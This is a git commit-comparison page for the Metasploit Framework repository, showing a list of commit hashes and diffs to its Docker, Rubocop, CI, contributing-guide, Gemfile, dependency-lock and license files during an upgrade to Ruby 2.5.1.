Compare commits
356 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 972e89b2d7 | |||
| e78715b073 | |||
| 8d86ff0065 | |||
| 7e2c1fae2c | |||
| 0a19221af2 | |||
| 7f372d178d | |||
| 08a6fd3b3b | |||
| 60a9e08cdc | |||
| f5e83d7542 | |||
| 43ae360e15 | |||
| e6a9421e35 | |||
| 9423cdb40b | |||
| 27ab8fdd01 | |||
| aa5c114364 | |||
| f6e0f5bd81 | |||
| 1df5b7655f | |||
| 5f469efacf | |||
| 31ce48502c | |||
| 650c5c7a93 | |||
| 40489fd1f1 | |||
| 30f2fe495b | |||
| 2a9399251c | |||
| d2523e03df | |||
| e7ab118aaf | |||
| 87c6befb45 | |||
| 122af6b143 | |||
| c8ff6cb5a4 | |||
| 9e9e129716 | |||
| b4e305862a | |||
| 3f200fa722 | |||
| caa8b673ed | |||
| 4142b49307 | |||
| 0dc0d3c0ba | |||
| 9bfd7a6bdb | |||
| d78f2e7bbd | |||
| 196b302897 | |||
| 0e5e151403 | |||
| e6a7ec3276 | |||
| 8243207223 | |||
| a177e762d1 | |||
| 89e9f60121 | |||
| 984384b59d | |||
| 016ee4d460 | |||
| 1eabf5dd3d | |||
| 81368bef7a | |||
| 7b3169ad0a | |||
| 9b152cec72 | |||
| 9e326d7c88 | |||
| 9f8dd68d0d | |||
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 2d69675650 | |||
| 07d754f637 | |||
| 2d21fbe682 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -4,6 +4,7 @@
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
+20
-3
@@ -17,6 +17,10 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -37,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -92,9 +104,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
@@ -104,6 +117,10 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.2
|
||||
2.5.1
|
||||
|
||||
+3
-3
@@ -11,9 +11,9 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.5'
|
||||
- '2.4.2'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
||||
+6
-1
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
||||
+13
-7
@@ -1,9 +1,8 @@
|
||||
FROM ruby:2.4.2-alpine
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
@@ -15,19 +14,23 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -45,13 +48,16 @@ RUN apk update && \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
USER $MSF_USER
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -19,10 +19,8 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+51
-85
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.32)
|
||||
metasploit-framework (4.16.61)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -16,11 +16,11 @@ PATH
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
metasploit-payloads (= 1.3.37)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.4.0)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -38,7 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -59,7 +58,8 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby_smb
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -73,7 +73,7 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
@@ -103,20 +103,20 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.5.0)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.0)
|
||||
bcrypt (3.1.11)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.1)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
@@ -125,53 +125,28 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.1)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.1.1)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -181,41 +156,39 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.37)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.3)
|
||||
metasploit_payloads-mettle (0.4.0)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.1)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
net-ssh (5.0.1)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nokogiri (1.8.1)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -223,15 +196,15 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.1)
|
||||
rack (1.6.8)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -240,18 +213,16 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
recog (2.1.17)
|
||||
recog (2.1.19)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -262,12 +233,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.16)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -290,14 +261,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.10)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.16)
|
||||
rex-text (0.2.20)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -323,7 +294,8 @@ GEM
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.2.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -334,13 +306,8 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
@@ -350,16 +317,16 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.3)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.12)
|
||||
yard (0.9.14)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -367,7 +334,6 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
@@ -380,4 +346,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.1
|
||||
1.16.2
|
||||
|
||||
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
@@ -599,6 +603,54 @@ License: Artistic
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
